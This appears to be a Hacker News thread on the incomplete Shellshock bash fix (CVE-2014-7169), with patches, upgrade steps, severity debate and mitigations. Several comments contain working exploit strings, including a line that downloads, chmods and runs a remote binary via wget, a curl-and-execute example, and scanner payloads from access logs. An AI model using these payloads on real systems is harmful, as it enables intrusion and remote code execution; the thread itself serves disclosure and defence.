CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
seclists.org
seclists.org
http://www.openwall.com/lists/oss-security/2014/09/25/10
I am building bash updates for Ubuntu containing the proposed fix here and will publish them once the fix has been made official:
https://launchpad.net/~ubuntu-security-proposed/+archive/ubu...
And THANK YOU SO MUCH for all your amazing work on this stuff, mdeslaur!
...then this patch needs to be modified (different line numbers) before it can be applied to the Apple version of bash:
--- parse.y.old 2014-09-25 13:42:17.000000000 +0300
+++ parse.y 2014-09-25 13:41:39.000000000 +0300
@@ -2503,6 +2503,8 @@
FREE (word_desc_to_read);
word_desc_to_read = (WORD_DESC *)NULL;
+ eol_ungetc_lookahead = 0;
+
last_read_token = '\n';
token_to_read = '\n';
}
Testing locally, this appears to mitigate both known (so far) vulnerabilities.This wouldn't be complete mitigation, and isn't a substitute for the current patches, but it could possibly reduce the attack surface for exploit of any similar remaining problems.
(I can imagine that someone, somewhere, as added an "export -f" env var to an AcceptEnv whitelist, or some such thing, and would need to change it, but that's probably a very rare situation.)
(Edited for clarity.)
sudo add-apt-repository ppa:ubuntu-security-proposed/ppa
sudo apt-get update
sudo apt-get upgrade
unattended auto upgrades from that PPA: sudo apt-get install unattended-upgrades
dpkg-reconfigure unattended-upgrades
then go to /etc/apt/apt.conf.d/50unattended-upgrades and add a line to allowed-origins that looks like "LP-PPA-ubuntu-security-proposed:precise"
Also make sure distro-codename-security is uncommented, and comment out the -updates one if you want. Then do this to make sure it all works: sudo unattended-upgrades --dry-run --debug env X='() { (a)=>\' sh -c "echo date"
This is equivalent to running date >echo
That is, you can put something in the environment which causes it to drop the first token, run the result as a command, and redirect the result to the dropped first token.An example of a context where this would be exploitable, is a CGI webapp which accepts an uploaded zip file, stores it in a FAT filesystem, and and runs system("unzip /path/to/file"). Then putting a corrupt string in a header would cause the file to be executed, rather than unzipped.
On one hand, this is pretty specific and not "run into the woods" dangerous.
On the other hand, it's also not that unrealistic.
Also, I am kind of afraid there will be more stuff lurking in there.
$ ls -l /bin/sh
lrwxrwxrwx 1 _ _ 4 Apr 3 18:13 /bin/sh -> bash*Are your systems fresh installs or dist-upgrades from older systems? I wonder if there's a difference there somehow. Or perhaps your puppet/chef/etc rules are changing to bash?
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb 19 2014 /bin/sh -> dashEither I have a part of my standard stack that reverts it to bash (but I have no idea what could be doing that), or it could be my provider (OVH) doing that by default when they install Ubuntu.
Oh well, sorry for the noise.
The justification I've found when I looked up what was going on here was "dash makes boot times faster". That's fine, but I don't reboot my systems very often and fractional increases in boot times are not worth the potential work-time disruption to me.
None of that changes the fundamental fact here: these types of security bugs could happen in any low-level, system-fundamental project like a shell. Even if you say, "Nuh-uh, I would never evaluate functions out of environment variables if I was writing a shell", I guarantee there are other things you can mess up that would present serious security risks. It is just by dumb luck that bash is the culprit this time and not some other software, and that Ubuntu happens to link /bin/sh to a shell that doesn't have the same specific bug (because it lacks the feature that provides the attack surface).
env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax"
(the "filename" here being "wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax")Let me fix that for you.
hobbes@metalbaby:~$ export badvar='() { (a)=>\'
hobbes@metalbaby:~$ bash -c "somestring executeMe"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
bash: executeMe: command not found
hobbes@metalbaby:~$ cat somestring #it exists but is empty.
hobbes@metalbaby:~$ bash -c "somestring date"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
hobbes@metalbaby:~$ cat somestring
Thu Sep 25 11:01:35 CDT 2014
hobbes@metalbaby:~$ bash -c "somestring echo hello"
bash: badvar: line 1: syntax error near unexpected token `='
bash: badvar: line 1: `'
bash: error importing function definition for `badvar'
hobbes@metalbaby:~$ cat somestring
hello
Gititgotitgood? Great. Now how the heck does anybody think that is as bad as the first one?For this one, an attacker needs to control both the environment AND the command line of the child shell.
People, if those criteria are met, the attacker wins, with or without bugs.
Yes, yes, there are situations where the attacker has partial control of the command line via a filename argument or whatever--whatever indeed! That's not even in the same category as the first bug.
Think "the buggy bash parser is still exposed to an attacker, and nobody really knows what it can be made to do."
Well let's see...
All of these work for me (bash 4.3 including yesterday's patches on Debian sid amd64):
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (b)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (gooooooaaaal)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a).>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)[>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile
hobbes@metalbaby:~$ unset badvar; echo tricksie > inputfile; export badvar='() { (a)=<\'; bash -c "inputfile cat";http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-...
In my mind even this trivial example is a bug (albeit less serious from a security perspective):
$ env VAR="() { This is how I like my VAR } ()" /bin/sh -c 'echo $VAR'
/bin/sh: VAR: line 0: syntax error near unexpected token `('
/bin/sh: VAR: line 0: `VAR () { This is how I like my VAR } ()'
/bin/sh: error importing function definition for `VAR'
$
Imagine an ABI that works like that: you can pass any string, as long as it doesn't start with "() {"... :/For people who want to do environment sanitation, do we know what values can trigger this 'feature'? Is it only "()" as the first two characters? First two non-whitespace characters?
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
So it has to start with that four character sequence exactly.I hope there are patches to webservers, sshd, etc to cleanse environment variables with that value. Even if bash is fixed, it is too risky to send untrusted strings to its parser.
/* Skip variables with values beginning with () (bash functions) */
if ((cp = strchr(*ep, '=')) != NULL) {
if (strncmp(cp, "=() ", 3) == 0)
continue;
}() {
()+{
Would those make it through? I don't know, neither does the person writing the WAF.
That's almost like a C compiler looking for C programs in string literals. It just doesn't make sense to me.
The issue is that it was evaluating the whole variable to get them into your process. So if you have "garbage" at the end it's interpreted as the next command following the function definition.
http://stackoverflow.com/questions/1885871/exporting-a-funct...
Hardly worth the security cost in retrospect, but some bash scripts will surely break if it were just ripped out.
Also, does anyone have a way to push out patched packages fast? Imagine that a patch is available, or it's trivial to remove a feature that you're not using, but the distribution hasn't made a package yet. I have been dreaming of making a system to help debian users create and manage a local set of packages, but haven't really had a chance to take it to a point where it'd be helpful in this scenario.
My extended thoughts on the matter: http://stevenjewel.com/2013/10/hacking-open-source/
(Disclaimer: not affiliated with Sysward)
https://knowledge.rapidssl.com/support/ssl-certificate-suppo...
See the following tweet: https://twitter.com/alexandermensa/status/514811145887027201
It did the patching for me during the night (I told it to do so for security updates), so I woke up to already patched systems.
Full disclaimer: I work for Canonical.
The only thing I saw was ~$300 per server... most of my servers didn't cost anywhere near $300...
Start-Date: 2014-09-25 06:53:13
Upgrade: libnss3-1d:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1- 0ubuntu0.14.04.1), libnss3-nssdb:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1-0ubuntu0.14.04.1), bash:amd64 (4.3-7ubuntu1, 4.3-7ubuntu1.1), libnss3:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1-0ubuntu0.14.04.1)
I am an happy ubuntu user, but I think in this case "unattended-upgrade" might have been enough?> ...but the distribution hasn't made a package yet.
On Ubuntu, I think you can probably set up a Launchpad PPA and then configure unattended-upgrades to automatically pull from it. Then just push what you need to that PPA when you're ready.
If you want to host the repository elsewhere, then that's possible too, but you probably want to start with a PPA since you don't have to worry about build and publishing infrastructure to start off with.
What am I meant to do if I actually want to store the characters '() {' in a string?
The same trick can be used to read files as well
$ date -u > file1
$ env -i X='() { (a)=<\' bash -c 'file1 cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 02:14:30 UTC 2014
Though obviously it's going to be trickier to find an system that issues commands in a way that can act as a path for that sort of exploit.user@user:~/ X X: user not authorized to run the X server, aborting.
They do update bash occasionally, even though it is trapped forever in a pre-GPLv3 world: http://www.opensource.apple.com/source/bash/. For instance, bash-86.1 shipped in 10.8 and bash-92 shipped in 10.9.
I don't know if they will hop right on this (and personally I find the issue overblown), but I imagine it will get patched at some point.
I don't think that the issue is overblown at all though. CGI is old and crusty but it's sitting in all sorts of random places. All you need to do is to find a script that will call system()/popen()/etc and it's game over. Plus those are just the sorts of forgotten environments that people won't remember to patch. I'm sure there will be thousands of exploitations in the next couple days. This is a big deal.
Then you have to configure the service in such a way to actually be vulnerable, and these are not commonly configured options.
The attacker also has to have a local privilege escalation vulnerability to exploit as well, or they're trapped as the CUPS user once they do bust in.
I don't think that the level of panic I have seen on other Hacker News threads and elsewhere on the Internet is warranted. Comparing this to Heartbleed is pretty absurd; TLS vs bash CGI is no contest in terms of deployment size.
I'm mainly concerned with public-facing, large scale web services, and in that area:
1. CGI in general and bash CGI in particular are basically unheard of.
2. system() in other scripting languages might be used, BUT to be vulnerable you have to pass through user-supplied data as environment variables without sanitizing. This was always an exploit waiting to happen.
3. ssh accounts with a command forced in authorized_keys are potentially problematic, but this would only be from users who have some relationship to your service in the first place. Personally I think a restricted shell (rsh or git-shell or whatever) is a more common option, simply because who knows what bash might get up to.
4. DHCP client scripts on Linux is an interesting exploit path, and might be a problem for laptops on shared wifi, but for the majority of Linux servers there is no attack vector. They live on controlled networks where rogue DHCP servers can't be operated.
So yes, patch the vulnerability and audit your systems and code. Also keep the response proportional to the vulnerability, this one needs a lot of other things to fall into place to be exploited.
> Comparing this to Heartbleed is pretty absurd
They're such different bugs that they're hard to compare. Heartbleed definitely affected more high-value targets, however the exploit just gave you some RAM contents. It would still be some manual work to figure out what those values meant (whcih bits are ssh keys, which are passwords, ...) and leverage them. Shellshock is much better suited for a "sweep all of IPv4, build a botnet" scriptkiddie attack.
> bash CGI in particular are basically unheard of
The CGI doesn't have to be written in bash, it just has to call something that calls something that ends up calling system()/popen()/whatever. There are probably lots of such cases. Once httpd puts the poisonous string in your environment it's going to be passed down to all of your subprocesses. If you're using CGI at all on a machine with /bin/sh==bash you should assume you're vulnerable.
> They live on controlled networks where rogue DHCP servers can't be operated.
If you're on a network with nodes you don't trust (public wifi, large corporate networks, etc) there is a risk that machines other than the router will reply to broadcast DHCP requests. I don't know the full scope of this attack vector yet but I wouldn't be blasé about it.
I mentioned it because people are having a field day comparing the two (which results in some good old fashioned fear mongering). A random sampling:
CNet: 'Bigger than Heartbleed'
Gizmodo: Why the Bash Shellshock Bug Could Be Even Worse Than Heartbleed
Mashable: Shellshock: The 'Bash Bug' That Could Be Worse Than Heartbleed
The Independent: Shellshock: Bash bug 'bigger than Heartbleed' could undermine security of millions of websites
Errata Security: Bash bug as big as Heartbleed
> The CGI doesn't have to be written in bashThis was covered in my second item, about using system(). I'm certain that there is software out there that does this, but it is in no way common or has ever been best practice.
The panic over this presumes that people use CGI all the time. It's awful, it's always been awful, and should never be used for anything public facing for lots of other reasons. Note that FastCGI is not impacted.
> If you're on a network with nodes you don't trust
Correct, but this isn't the case for most (but not all) server deployments. In your own datacenter environment, you control the network and all of the hosts on it -- if someone busts in to run a DHCP server, you have bigger fish to fry.
[1] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
web22 ~> grep "() {" logs/access_log
209.126.230.72 - - [24/Sep/2014:17:16:46 -0700] "GET / HTTP/1.0" 200 5733 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 13378 () { :; }; ping -c 23 209.126.230.74 80 74529 209.126.230.72 - - [24/Sep/2014:23:13:20 +0200] "GET / HTTP/1.0" 200 29301 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:08:45:00 +0200] "GET / HTTP/1.0" 200 29292 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"Lets all ping 198...138!
>89.207.135.125 - - - "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 483 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
...searching for vulnerable CPanel installs.
24.251.197.244 - - [25/Sep/2014:10:07:47 +0000] "GET / HTTP/1.1" 301 178 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq" access.log.1:209.126.230.72 - - [25/Sep/2014:02:14:12 +0000]
"GET / HTTP/1.0" 502 172 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"For CGI scripts, only putting it in /etc/ld.so.preload worked for me. It seems like the CGI environment has LD_PRELOAD stripped (I checked /proc/apache_pid/environ which has LD_PRELOAD, but the CGI script running does not).
In builtins/evalstring.c:
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
In variables.c: parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
So what the patch does is create a special mode of parse_and_execute() where it's supposed to only evaluate function definitions. A better option would be to add a flag to parse_and_execute() that disables it from attempting any execution completely, not just function definitions.I had cgi-bin/update.pl running on OS X and I exploited it as mentioned here: https://twitter.com/hernano/status/514866681530023936
My perl scripts call $out = `git pull`, log to a file, and print a response; I was quite surprised the exploit worked against them. Promptly disabled, upgraded bash, and re-enabled, now disabling all cgi for a bit longer.
What are the common vectors beyond CGI-space for the average server? How do we find and test them?
Using bash as the default /bin/sh is the real bug here.
Unless that script or program sanitizes the environment before calling system(). In practice that might not presently be any scripts or programs, but it principle it's a tiny bit weaker than you say.
Options?
- Change /bin/sh to something else. (CentOS has BASH as default, alas...) - Filter out unknown, or suspicious looking HTTP vars / env vars at varnish/apache/nginx level, somehow... (doesn't stop other services) - Figure out some clever SELinux configuration that blocks it.
I wonder how much would fail on switching out BASH as default sh?
https://wiki.archlinux.org/index.php/Dash
The technique is applicable to other distributions as well.
Note: on my Arch install the checks showed there were no scripts relying on /bin/sh being bash.
Edit: direct link to checkbashisms.pl - http://anonscm.debian.org/cgit/collab-maint/devscripts.git/p...
Ubuntu did that years ago, to speed up booting.
Apparently a lot of node.js stuff uses #!/bin/bash explicitly in scripts, so removing bash entirely might be difficult if you use node, or otehr stuff.
I'm running OSX mavericks 10.9.5, use zsh as my default shell, and have a patched version of bash build from homebrew repo set as secondary in /etc/shells (on the occasion I need bash, I like to have completions). System bash is still vulnerable. With my current configuration, how worried should I be?
Any insight is appreciated!
$ /bin/sh --version
GNU bash, version 3.2.48(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.
As long as you have a /bin/sh or /bin/bash that is of a vulnerable version, then any shell script which begins with #!/bin/sh or #!/bin/bash, and is executed in an environment that could have environment variables set by an attacker, could leave you vulnerable.Installing a version via homebrew and setting it up in /etc/shells doesn't help. What you need to do is replace /bin/sh and /bin/bash. I don't know what effects this will have; it will likely work fine, but if you were to try it, I'd recommend backing up the old buggy versions first, so you could replace them if something went wrong. I'd recommend replacing them with a version as close as possible to what you were replacing, with just the one patch applied, as there may be scripts which behave subtly differently in Bash 4 vs Bash 3 that ships with OS X.
https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_...
http://home.comcast.net/~dshartley3/DIMEPMESIIGroup/Data.htm http://discussions.sisostds.org/threadview.aspx?threadid=533...
Should be limited to Afganistan and stuff
1. Does zsh (or other shells) also have these kind of string processings where bugs are likely?
2. Is there a way to completely remove bash from the system and use zsh (or other shells) instead?
FreeBSD, for example, only had bash as a port and it is not in the base install -- I believe `/bin/sh` is a derivative of ash[1].
Now I get it
[1]: http://www.all-things-android.com/content/mirbsd-korn-shell-...
2. Possible yes, practical no (for most folks). Almost everybody's got a bunch of scripts with `#! /bin/bash` or `#! /usr/bin/env bash` lying around. Good luck excising everything that automatically assumes it's the shell of choice.
Even just echoing back the result of "env" it doesn't look like I get anything user-supplied whatsoever in there (no HTTP_*)
Can anyone more knowledgable confirm what I've seen?
env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; head echo
Creates file called echo and outputs the contents using head.
(from https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24)
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
date
Wed Sep 24 15:00:34 PDT 2014
-- previous bug fix for bash (before/after patch) --
$ x='() { :;}; echo vulnerable' bash -c 'echo test'
vulnerable
test
$ x='() { :;}; echo vulnerable' bash -c 'echo test'
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
test
Tested on Ubuntu 14.04.1 LTS & Debian GNU/Linux 7.0 (wheezy) with latest patches.ps. lots of chatter about the original issue @ https://news.ycombinator.com/item?id=8361574
hobbes@media:~$ env X='() { (a)=>\' sh -c "echo date"; cat echo
date
cat: echo: No such file or directory
hobbes@media:~$ uname -a
Linux media 3.13-1-686-pae #1 SMP Debian 3.13.5-1
hobbes@media:~$ echo $BASH_VERSION
4.3.25(1)-release
It looks to me like we're setting X in the environment, calling `sh -c "echo date"`, passing that X in to it, nothing happens, then we're cat'ing a file named echo, which does not get created in the first place, at least not on my machine.I played with the original test a bit. You can break it into two lines to see what is happening. For example:
1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable'
2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
3. bash: warning: badvar: ignoring function definition attempt
4. bash: error importing function definition for `badvar'
5. I am an innocent sub process in 4.3.25(1)-release
1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!2. Create an innocent sub process. Bash in this case. During initialization...
3. ...bash spots the specially formed variable (named badvar), prints a warning,
4. ...and apparently doesn't define the function at all?
5. But other than that, the child bash runs as expected.
1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable'
2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
3. vulnerable
4. I am an innocent sub process in 4.3.22(1)-release
1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened!2. Create an innocent sub process. Bash in this case. During initialization...
3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?!
4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)
run
export X="() { (a)=>\\"
now run
bash -c 'echo date'
Now under no normal circumstances should i have a file named echo in my current directory. But i do!
In fact once that environment variable is set everytime i run bash -c 'XXXX date' i end up with a file named XXXX in my current directory. There's no way that should be happening.
This is out of date, but I can't edit my comment anymore.
Carry on. :)
It should be possible to mitigate this attack (and many similar) by better header values parsing (in Apache/nginx/... - maybe in some proxy?). For instance, Content-Type header can only include alphanumeric chars + slashes. Most of the other headers are similar. User-Agent is free-form, but there is no need to pass it to ENV (and it could be sanitized to only include alphanumeric chars and spaces).
Any idea, are web server maintainers working on this?
The web server side only comes into play for remote exploits. It is locally exploitable too (though the potential for useful exploits that way is lower, it is still a significant risk).
SECURITY NOTES
sudo tries to be safe when executing external commands. Variables that control how dynamic loading and binding is done can be used to subvert the program
that sudo runs. To combat this the LD_*, _RLD_*, SHLIB_PATH (HP-UX only), and LIBPATH (AIX only) environment variables are removed from the environment
passed on to all commands executed. sudo will also remove the IFS, CDPATH, ENV, BASH_ENV, KRB_CONF, KRBCONFDIR, KRBTKFILE, KRB5_CONFIG, LOCALDOMAIN,
RES_OPTIONS, HOSTALIASES, NLSPATH, PATH_LOCALE, TERMINFO, TERMINFO_DIRS and TERMPATH variables as they too can pose a threat. If the TERMCAP variable is
set and is a pathname, it too is ignored. Additionally, if the LC_* or LANGUAGE variables contain the / or % characters, they are ignored. Environment
variables with a value beginning with () are also removed as they could be interpreted as bash functions. If sudo has been compiled with SecurID support,
the VAR_ACE, USR_ACE and DLC_ACE variables are cleared as well. The list of environment variables that sudo clears is contained in the output of sudo -V
when run as root.
From man sudo on Ubuntu Linux:
Note, however, that the actual PATH environment variable is not modified and is passed unchanged to the program that sudo executes. Environment variables to preserve:
XAUTHORIZATION
XAUTHORITY
TZ
PS2
PS1
PATH
LS_COLORS
KRB5CCNAME
HOSTNAME
DISPLAY
COLORS
Just set any of those on an account with sudo access to something that runs bash. Even if the bash command was something trivial.A quick look at journalctl's output shows that sudo by default, at least on the distribution I'm using, logs only the original user, the tty, the current working directory, the target user, and the command. It does not seem to log the environment variables.
So you could use an innocent-looking sudo command (like "sudo ls") to hide doing something else as root, without using obvious commands like "sudo bash" or "sudo -i".
Hopefully you would not be white-listed to run things like that (always put the full path in sudoers), so you will need some sort of "obviously bash" in the log, but we all know what we have done at moments of interaction with paper-cuts. We have probably all lessened our security to ease discomfort here and there.
I believe this is controlled via the secure_path setting in your /etc/sudoers file.
A malicious user with access to certain commands via sudo or similar could potentially use this to gain further access.
I don't think these four characters at the start of an environment variable are common; if they were, this bug would have been found out much sooner. It should be safe to filter them out.
It could be a useful interim measure for code that implements it, but only if the update gets written, tested, and released before the update to bash is available - and it would weigh down the package maintainers for the distros as they'd have a sudden glut of updates coming downstream for this one issue instead of one update for one package.
People who aren't going to update bash as soon as an update is available aren't going to update everything else (where "everything else" is a set containing at least Apache, probably other web servers, and maybe many other apps) as quickly either - so fixing bash is the best course and the quickest resolution, and changing Apache and friends isn't going to have any benefit: either people update in a timely manner (so the bash fix sorts their problem) or they don't (and no end of updates will solve their problem because they don't have any of them installed).
curl http://www.exploits.org/local_exploit1 -o iwin; ./iwin
(or more sophisticated variants that ensure the code is executable).Even if you assume an otherwise perfect OS, this is dangerous, because e.g. www-data can usually access more code and data than any given web app user could. So now I could (e.g.) start dumping the database, which I accessed because I found the password in a PHP file www-data has to be able to read.
Keep in mind that a lot of information is passed around with environment variables - it's what they are for (keeps the need for complex command line parsing - a source of bugs itself - down). So while everyone is tying the exploit to web servers, that is because it is a trivial example of a place input data can be turned into an environment variable. There are undoubtedly others - to a large extent shell scripts still run the world.
My router runs DD-WRT (an old version which I can't upgrade), has an administration web page and has ssh access enabled. It does not have remote web administration enabled. Any tips?
That doesn't prevent an XSS attack on the admin page if you view a malicious web page on a browser within your home network, but it's a first step.
If true, I never really comprehended the volume of vulnerabilities flying by every day.
Typically the CVE is assigned when the vulnerability is reported to the maintainer after it's initially discovered, before it's been made public. So really the difference represents how many other vulnerabilities there's been between the first time this was discovered (which could be months, could be weeks, I didn't check) until now.
Since 7169 was only discovered today, it immediately got assigned a new CVE while still public.
Also, the last number in the ID represents the total number of vulnerabilities tracked by CVEs in the year mentioned in th middle. So, there have been 7169 vulnerabilites in all sorts of different software this year.
Just to verify; apache httpd / nginx without CGI-support is not vulnerable?
One way for that to happen is if your CGI-application runs things via os.system() / system(). It is not the web server itself that has the problem, nor any common CGI-setup (unless you write your CGI-scripts in bash, in which case you are guaranteed to have other problems).
One tech company's backdoor is another NSA's vulnerability to exploit (and silence with an NSL).
If you're accepting feature requests, it would be nice if it accepted port numbers as well. Also a way to check a subsequent website without reloading the page first would be nice.
Soon someone will be suggesting that you have to add some random string to all of your env variables to make them work, otherwise they are ignored, like with CSRF mitigation.
Actually, I jest, but that's probably a good idea, anything running on the system could view some /tmp file with the string and append it to the env variable string or something, but any remote client wouldn't be able to access that.
Hmm...
Is this new exploit version dependent?
rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
echo 'abc\'
will echo 4 characters: a , b , c and \The \' in the original command isn't trying to escape the quote, it's ending the environment variable in a "\"
Is the naughty thing that the improper function def is supposed to prevent bash to be executed?
If so, I still dont get how this is a possible RCE. nothing from the environment variable definition persists.
Try this slight variation:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Thu Sep 25 02:27:07 UTC 2014
Setting "X" in that way confuses the bash env variable parser. It barfs at the "=" and leaves the ">\" unparsedAFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as
date > echo
It causes the command to be interpreted (executed) in a totally different way than it was supposed to, with the nice side effect of modifying files.See one of my other comments for an example that uses the same flaw to read files.
I don't think anyone has found an RCE path for it yet though.
Under normal circumstances:
$ bash -c 'echo date'
date
With this attack, it is not going to print out the actual date, but is actually executing something like date > echo:
So what happens then as you and others demonstrated: $ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Wed Sep 24 22:38:19 EDT 2014
"echo" is now a file in my current working dir. Definitely fishy business. .. the whole flip flop of echo date to date > echo so easy to missrm -f echo && <---- Irrelevant, removes old echo files.
env -i X=' <---- Start definition of an environment variable. () { <---- Function definition which is expected by the parser according to the codebase. (a)= <---- I have no idea what this [1] is or [2] does. >\ <---- I have no Idea what this [3] is but kinda know what it does. Executing ">\echo date" in a bash term somehow yields same result as "date > echo". Is this a feature? [4] Does bash have a ">\" operator? [5]
' bash -c 'echo date'; cat echo <----- End the environment variable definition, run a new shell so that the vars get loaded and output the contents of the file "echo" if created.
I would really appreciate anyone shedding some light on [1]...[5].
Why don't you uninstall bash all-together? Most programs should be using '/bin/sh' and not bash.(IIRC Linux might have symlink between the two, which is awful) You could install zsh.
You could add further security layers, harden your network-level access, monitor your logs and so forth. Security is a set of policies. If you think that there are users who have unauthorized access to your system or you run bash-enabled cgi scripts, well then disable them (you shouldn't be using those in first place anyway), lock-out unauthorized users, change your passwords, etc.
The panic is for admins who handle systems with multiple users (universities, etc.) and offer (even restricted) shell access. For these guys might be hard to sleep at night, but for someone running a fileserver, shouldn't really make any diff.
Why? There are some non-trivial things that you can do in bash but not sh (or dash)[1]. Remaining POSIX compatible by way of never adding additional features seems like a great way to never make any forward progress.
DESCRIPTION
The sh utility is the standard command interpreter for the system. The current version of sh is close to the IEEE Std 1003.1 (“POSIX.1”) specification for the shell. It only supports features designated by POSIX,plus a few Berkeley extensions. [...]
Again from FreeBSD manual for 'bash': DESCRIPTION
Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). Bash is intended to be a conformant implementation of the Shell and Utilities portion of the IEEE POSIX specification (IEEE Standard 1003.1). Bash can be configured to be POSIX-conformant by default.
These two shells are different and the reason that FreeBSD keeps '/bin/sh' is because it was designed to be secure and reliable instead of full-featured. Makes sense as a choice, it is aligned with the general UNIX philosophy: do one thing, do it good, keep it as simple as possible.Given the fact that the bug was found in bash, I guess it's just (another) win for this harsh philosophy that so many geeks seem to strongly embrace.
* webservers that are configured to run things via the ancient CGI interface. There are lots of these on the internet (so that's bad) but most OSes aren't going to be vulnerable out of the box or anything. Also, the biggest risk is if you're on a server where /bin/sh is bash, which is not the case for Ubuntu.
* people using sshd and have users that are allowed to ssh but not run a shell -- for instance by having "command=" settings in a .ssh/authorized_keys file. Most people won't have this. It's a pattern most associated with services like github which allows you to use git-over-ssh but not run arbitrary programs on their servers. Another example would be if you've set up a special key for a backup system to connect over ssh and run rsync. Most servers aren't going to have these things. If you're just using sshd for normal user logins there is no impact: you can "exploit" the bug and run arbitrary commands, but only if you have the same credentials you could have used to log in and run them yourself anyway.
* DHCP clients could be affected, but only if the server is already compromised (or spoofed) which probably isn't a huge concern for your home network.
So you're probably overreacting here. Certainly stay up-to-date on the patches as they come out for safety, though.
We just published this tool to test for Shellsheck. https://suite.websecurify.com/market/shellshock
Do a scan over before it is too late.
-- ➜ ~ zsh --version
zsh 5.0.2 (x86_64-apple-darwin13.0)
➜ ~ echo $SHELL
/bin/zsh
➜ ~ env x='() { do_something;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test ---
env x='() { do_something;}; echo vulnerable' zsh -c "echo this is a test"
this is a testHe could propose a patch sure, but exploiting a code base may not require in-depth knowledge of it, while making a good patch to it is much more likely to. (I suppose in an ideal situation the fix would be localized to a spot where one would only have to understand a screenful or two of code, but in my experience this is not usually the case.)
Someone just did a really bad job vetting the patch for thoroughness.
The problem is the first issue altered people to the fact the the function var parsing was a interesting previously-unpublicized attack vector, and they started looking for more funkiness there.
It would have been nice if the response to the first issue had been to do a thorough and complete testing of the parsing code, but it's not really surprising that it wasn't.